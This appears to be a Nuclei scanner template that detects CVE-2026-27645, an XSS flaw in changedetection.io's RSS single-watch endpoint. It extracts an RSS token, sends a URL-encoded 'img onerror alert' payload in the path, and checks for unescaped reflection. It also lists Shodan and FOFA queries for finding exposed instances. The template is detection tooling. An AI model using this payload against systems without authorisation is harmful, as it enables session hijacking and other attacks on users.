CVE-2026-27645: Changedetection.io RSS Single Watch - Cross-Site Scripting

id: CVE-2026-27645

info:
  name: Changedetection.io RSS Single Watch - Cross-Site Scripting
  author: 0x_Akoko
  severity: medium
  description: |
    changedetection.io < 0.54.1 contains a stored XSS caused by unescaped reflection of UUID path parameter in RSS single-watch endpoint, letting remote attackers execute JavaScript in victim's browser, exploit requires victim to visit crafted URL.
  impact: |
    Attackers can execute arbitrary JavaScript in users' browsers, leading to session hijacking or other client-side attacks
  remediation: |
    Update to version 0.54.1 or later.
  reference:
    - https://github.com/dgtlmoon/changedetection.io/security/advisories/GHSA-mw8m-398g-h89w
    - https://github.com/dgtlmoon/changedetection.io/commit/a385c89abf44b52fcfa20c7c6a6dd3047c4c1eb5
    - https://nvd.nist.gov/vuln/detail/CVE-2026-27645
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2026-27645
    cwe-id: CWE-79
    epss-score: 0.00445
    epss-percentile: 0.37877
  metadata:
    max-request: 2
    verified: true
    fofa-query: title="Change Detection"
    shodan-query: http.title:"Change Detection"
  tags: cve,cve2026,xss,changedetection,rss

flow: http(1) && http(2)

http:
  - method: GET
    path:
      - "{{BaseURL}}"

    matchers:
      - type: dsl
        dsl:
          - 'contains_all(body, "rss?token=", "Change Detection")'
        internal: true

    extractors:
      - type: regex
        name: rss_token
        part: body
        group: 1
        regex:
          - 'rss\?token=([a-f0-9]{16,64})'
        internal: true

  - method: GET
    path:
      - "{{BaseURL}}/rss/watch/%3Cimg%20src%3Dx%20onerror%3Dalert(document.domain)%3E?token={{rss_token}}"

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 404'
          - 'contains(content_type, "text/html")'
          - 'contains_all(body, "<img src=x onerror=alert(document.domain)>", "Watch with UUID")'
        condition: and
# digest: 490a004630440220518afea203912b3e7d03f91c6b444b4390e2b743f7f74f7ab8e3df9f9a8b801b02200229d198d43ceb6e20950931f1ba84925e99c8df0d14dadd25df333544a9d810:922c64590222798bb761d5b6d8e72950

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